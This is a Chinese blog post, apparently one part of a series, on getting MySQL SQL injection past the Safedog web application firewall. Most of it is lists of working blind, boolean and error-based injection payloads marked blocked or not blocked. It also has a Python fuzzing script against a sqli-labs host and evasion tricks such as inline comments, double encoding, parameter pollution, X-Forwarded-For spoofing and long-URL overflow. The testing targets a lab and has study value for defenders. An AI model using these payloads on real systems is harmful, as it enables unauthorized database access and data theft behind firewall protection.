💉 SQLi_BYPASS_for_mysql Vol.4

  • Naykcin
  • 18 Minutes
  • January 9, 2020

💉 SQLi_BYPASS_for_mysql Vol.4

目录

🎙️ 0x00 前言

vol.3 主要记录了 union select BYPASS,这里接着上部分从盲注开始。

0x22 盲注 BYPASS

时间盲注 BYPASS

从时间盲注入手,相比布尔盲注要更灵活一些。

?id=1 if(1=1,1,0)		不拦截
?id=a if(1=1,1,0) 不拦截
?id=1 and if(1=1,1,0) 拦截
?id=1 | if(1=1,1,0) 不拦截
?id=1 || if(1=1,1,0) 拦截
?id=1 && if(1=1,1,0) 拦截
?id=1 /*!and*/ if(1=1,1,0) 拦截
?id=1 /*!11440and*/ if(1=1,1,0) 不拦截
?id=1 andaif(1=1,1,0) 不拦截

可以看出 if() 前面如果有连接词,安全狗是会拦截的,反之则不拦。利用上一章的方法内联注入是可以 BYPASS 的,这样可以直接进行后面的注入,除了这个方法我们再尝试一下其他的绕过方式。

⚠️ 拓展

and!!!1=1,and 后面可以接上奇数个特殊的字符,包括但不限于 ! ~ & -,这样就可以构造 payload 了:

?id=1' and!!!if((substr((select hex(user/**/(/*!*/))),1,8)=/*!'726F6F74'*/),sleep/**/(/*!5*/),0) -- +

⚠️ 注意

这里在对 user() 的结果进行十六进制编码的时候需要注意 hex 函数的构造位置:

Screenshot 2020-02-23 下午4.40.06

另外,安全狗似乎对 '数字型' 做了过滤,所以这里也需要简单的绕过。应用这个 payload,可以判断 user() 十六进制编码的前八位等于 726f6f74,解码等于 root,延时 5 秒返回页面,BYPASS 成功。

Screenshot 2020-02-23 下午5.11.40

布尔盲注 BYPASS

布尔注入绕过相对来说是最简单的,因为可以不使用条件语句,少了一个绕过点。这里也记录一下思路:

?id=1 and 'a' 拦截
?id=1 and a 不拦截
?id=1 and!!!a 不拦截

然后针对 ?id=1 and!!!substr((select user()),1,4)='root' 构造 payload 为:

?id=1 and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,4)=/*!'root'*/ -- +

成功 BYPASS:

Screenshot 2020-02-23 下午5.26.31

最后其实发现安全狗对于布尔盲注的过滤其实很差,测试以下 payload 也是可以绕过的:

?id=1 and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,4)=/*!'root'*/ -- + BYPASS 成功

?id=1 /*!and*/ substr((select unhex(hex(user/**/(/*!*/)))),1,4)=/*!'root'*/ -- + 拦截

// 将 and 换成 &&
?id=1 %26%26 substr((select unhex(hex(user/**/(/*!*/)))),1,4)=/*!'root'*/ -- + 拦截

?id=1' /*!%26%26*/ substr((select unhex(hex(user/**/(/*!*/)))),1,4)=/*!'root'*/ -- + 不拦截,成功 BYPASS

成功 BYPASS:

Screenshot 2020-02-23 下午5.38.45

盲注部分结束,总之就是一句话:不断地 fuzz 来构造 payload。

0x23 报错注入 BYPASS

我们已经测试了联合注入 BYPASS、盲注 BYPASS,这里记录一下报错注入 BYPASS,还是利用 updatexml() 函数。

首先我们再次回顾一下 updatexml() 这个函数。

updatexml() 函数有三个参数:updatexml(xml_document,xpath_string,new_value)。

第一个参数:xml_document 是 string 格式,为 xml 文档对象的名称。

第二个参数:xpath_string,xpath 格式的字符串。

第三个参数:new_value 是 string 格式,替换查找到的符合条件的数据。

该函数的作用:改变文档中符合条件的节点的值。

前几章我们用来报错注入的 payload 为:updatexml(1,concat(0x7e,(select @@version),0x7e),1),其中 concat() 函数的作用是将函数内的结果连接成字符串,因此不符合 xpath_string 的格式,从而出现格式错误,达到报错注入的目的。

接下来我们开始 fuzz:

?id=updatexml 不拦截
?id=updatexml() 不拦截
?id=updatexml(1,2,3) 拦截
?id=updatexml(1,2,) 不拦截
?id=updatexml(1,2,!) 拦截
?id=updatexml(1,2,hex()) 拦截
?id=1 and updatexml(1,2,) 不拦截
?id=1 and updatexml(1,2,3) 拦截

经过 fuzz 我们可以发现,安全狗会判断 updatexml() 函数的完整性,当逗号分隔出现三个字符时,就会拦截,有些个别的特殊字符也没有过滤。

所以我们在括号里面构造 payload 的难度比较大,换一种思路,我们可以给 updataxml() 函数外面套一个外套:

?id=/*!14400updatexml*/(1,1,1) 不拦截
?id=/*updatexml*/(1,1,1) 不拦截
?id=/*!updatexml*/(1,1,1) 拦截

绕过 updatexml() 函数之后,继续 fuzz,我们在前面加个运算符号:

?id=1' and /*!updatexml*/(1,(select hex(user/**/(/**/))),1) -- + 拦截

?id=1' or /*!updatexml*/(1,(select hex(user/**/(/**/))),1) -- + 拦截

?id=1' /*!and*/ /*!updatexml*/(1,(select hex(user/**/(/**/))),1) -- + 拦截

?id=1' /*!%26%26*/ /*!updatexml*/(1,(select hex(user/**/(/**/))),1) -- + 不拦截,成功报错

?id=1' /*!||*/ /*!11440updatexml*/(1,(select hex(user())),1) -- + 不拦截

?id=1' /*!xor*/ /*!11440updatexml*/(1,select hex(user/**/(/**/)),1) -- + 不拦截

?id=1' | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) -- + 不拦截

?id=1' xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) -- + 不拦截

或者利用反引号 ` 来包裹 updatexml(),ASCII 96:

http://1.1.1.1/?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1) -- +

尝试写个小脚本来测试一下是否还有别的可包含的:

import requests
import urllib

for i in range(0,177):
url = r"http://172.16.232.206/sqli-labs/Less-1/?id=1%27%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)%20--%20+".format(fuzz=urllib.quote(chr(i)))
req = requests.get(url)
if "F6F7" in req.text:
print len(req.text),i,urllib.quote(chr(i))

报错注入到这里结束。有时候可能发现某个方法可绕过,也许这个方法全局有效,这样就可以很大程度上提高效率。

0x24 BYPASS 思路

其实对于 WAF 的绕过无非就是利用 WEB 程序的缺陷(过滤不严格)、容器特性、网络协议、数据库特性来组合利用绕过,从用户发出请求到数据库的每一点,来寻找突破口,这就是一个不断 fuzz 的过程。

Tricks

等等等等,只要你能想得到。

HTTP 协议利用

HTTP 协议中有很多功能,一般用到的是 URL 编码。也有数据包分块传入来 BYPASS 的思路,但是可能比较复杂:

  1. 构造畸形数据包
  2. 编码
  3. 分块
  4. 数据包溢出

HTTP 协议是有一定的容错性的,通过这个容错性去绕过上传。编码绕过的原理也差不多,因为一般是程序去解码,一般 WAF 不做解码的工作(因为可能会降低效率),所以无法识别。数据包溢出则是因为数据包过大 waf 自动丢弃而不识别。

大小写混淆

大小写混淆一般可用来绕过一些简单的正则,现在似乎很少可以 BYPASS 了。

UnIon SeLecT

替换

有时 WAF 的正则可能会将数据包中的关键词给剔除,但是没有进行多次的匹配,所以可能导致 BYPASS:

ununionion selselectect
un/**/ion sel/**/ect

特殊字符

这一般是由于数据库的特性,利用数据库可以使用多种符号、运算符来绕过:

`updatexml`(1,1,1)
and!!!1=1
/**/
/*!50000*/

利用编码

其实和 HTTP 协议差不多,这里是指多重编码。URL 编码会自己解码一次,但是有的程序可多次解码,还有的程序是支持 base64 编码的,所以也可以构造 pyload。

// url 编码两次
= 👉🏻 %3d 👉🏻 %25%33%44

// base64 编码
and 1=1 👉🏻 YW5kIDE9MQ==

等价替换

很好理解,mysql 有很多函数,某个函数如果被过滤可以查找手册,利用返回结果差不多的函数来替换:

substr((select user()),1,1)
substring((select user()),1,1)
Left((select version()),1)

中间件特性

  1. IIS

    有时候容器的特性会给我们 BYPASS 带来帮助。

    // IIS+ASP 的 % 特性
    当传入的 select 被 % 分割成 s%e%l%e%c%t 时,解析出来还是 select

    // IIS+ASP 的 unicode 特性
    IIS 支持 unicode 解析,传入 s%u0065lect 会被解析为 select
  2. hpp

    hpp 参数污染,之前 BYPASS Safedog 时用到过。不同中间件对我们传入的值解析顺序也是不同的,这一点也可以利用。

    // PHP+Apache
    &id=1&id=2 Apache 只解析最后一个

    +------------------------------------------------------------------+
    | Web Server | Parameter Interpretation | Example |
    +------------------------------------------------------------------+
    | ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
    | ASP/IIS | Concatenation by comma | par1=val1,val2 |
    | PHP/Apache | The last param is resulting | par1=val2 |
    | JSP/Tomcat | The first param is resulting | par1=val1 |
    | Perl/Apache | The first param is resulting | par1=val1 |
    | DBMan | Concatenation by two tildes | par1=val1~~val2 |
    +------------------------------------------------------------------+
  3. HTTP Parameter Contamination

    不同的容器也会将我们的参数中带入的一些特殊字符解析成不同的东西,比如:

    +-------------------------------------------------------------------+
    | Query String | Web Servers response / GET values |
    +-------------------------------------------------------------------+
    | | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |
    +-------------------------------------------------------------------+
    | ?test[1=2 | test_1=2 | test[1=2 |
    | ?test=% | test=% | test= |
    | ?test%00=1 | test=1 | test=1 |
    | ?test=1%001 | NULL | test=1 |
    | ?test+d=1+2 | test_d=1 2 | test d=1 2 |
    +-------------------------------------------------------------------+

白名单

有些程序对本地 IP 不会进行拦截,如果它的 host 使用 X-Forwarded-For 来获取的话,我们可以尝试伪造这个头部信息:

X-Forward-For:127.0.0.1

缓冲溢出

有的 waf 对于数据包的处理有上线,早期的 Safedog 如果提交过长的 URL 可能会直接崩溃:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLecT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

🌍 参考

https://www.exploit-db.com/papers/17934
https://www.digitalmunition.me/2018/02/sql-injection-9-ways-bypass-web-application-firewall/

总而言之,BYPASS 不能只简单局限于某一种,同时它也是一个经验积累的过程,需要了解 mysql 的语法、特殊符号、特殊写法,fuzz waf 融错的地方。

SQLi_BYPASS_for_mysql 系列还没有完结,后期还有绕阿里云盾、云锁等测试,以及 SQLi_BYPASS_for_mssql 系列。

本系列文章如有错误请指出,欢迎交流。

Hard work and no play makes Nick a dull boy.